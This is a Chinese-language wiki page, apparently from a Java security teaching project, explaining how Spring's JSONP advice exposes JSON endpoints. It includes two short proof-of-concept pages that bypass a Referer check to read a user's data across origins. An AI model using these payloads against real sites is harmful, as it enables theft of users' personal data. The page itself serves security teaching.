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JoyChou edited this page Jul 3, 2019 · 8 revisions

自动添加为JSONP

代码很简单:

@ControllerAdvice
public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice {

    public JSONPAdvice() {
        super("callback", "cback"); // callback的参数名,可以为多个
    }
}

当有接口返回了Object(比如JSONObject或者JavaBean,但是不支持String),只要在参数中加入callback=testcback=test就会自动变成JSONP接口。比如下面代码:

@RequestMapping(value = "/advice", produces = MediaType.APPLICATION_JSON_VALUE)
public JSONObject advice() {
    String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
    return JSON.parseObject(info);
}

虽然上面代码指定了response的content-typeapplication/json,但是在AbstractJsonpResponseBodyAdvice类中会设置为application/javascript,提供给前端调用。

设置content-typeapplication/javascript的代码:

protected MediaType getContentType(MediaType contentType, ServerHttpRequest request, ServerHttpResponse response) {
	return new MediaType("application", "javascript");
}

并且还会判断callback的参数只是否是有效的,代码如下:

private static final Pattern CALLBACK_PARAM_PATTERN = Pattern.compile("[0-9A-Za-z_\\.]*");

protected boolean isValidJsonpQueryParam(String value) {
	return CALLBACK_PARAM_PATTERN.matcher(value).matches();
}

返回:

/**/test({"phone":"18200001111","name":"JoyChou"});

前端调用代码

使用jax的jsonp调用方式,运行后会弹框JoyChou

<html>
<head>
<meta charset="UTF-8" />
<script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.min.js"></script>
</head>
<body>
<script language="JavaScript">
$(document).ready(function() {
	$.ajax({
		url:'http://localhost:8080/jsonp/advice',
		dataType:'jsonp',
		success:function(data){
			alert(data.name)
		}
	});
});
</script>
</body>
</html>

空Referer绕过

有时候开发同学为了测试方便,JSONP接口能直接访问,不直接访问做了Referer限制。正常来讲,前端发起的请求默认都会带着Referer,所以简单说下如何绕过空Referer。

Poc 1

<html>
<meta name="referrer" content="no-referrer" />

<script>
	function test(data){
		alert(data.name);
	}
</script>
<script src=http://localhost:8080/jsonp/emptyReferer?callback=test></script>
</html>

Poc2

<iframe src="javascript:'<script>function test(data){alert(data.name);}</script><script src=http://localhost:8080/jsonp/emptyReferer?callback=test></script>'"></iframe>

Reference

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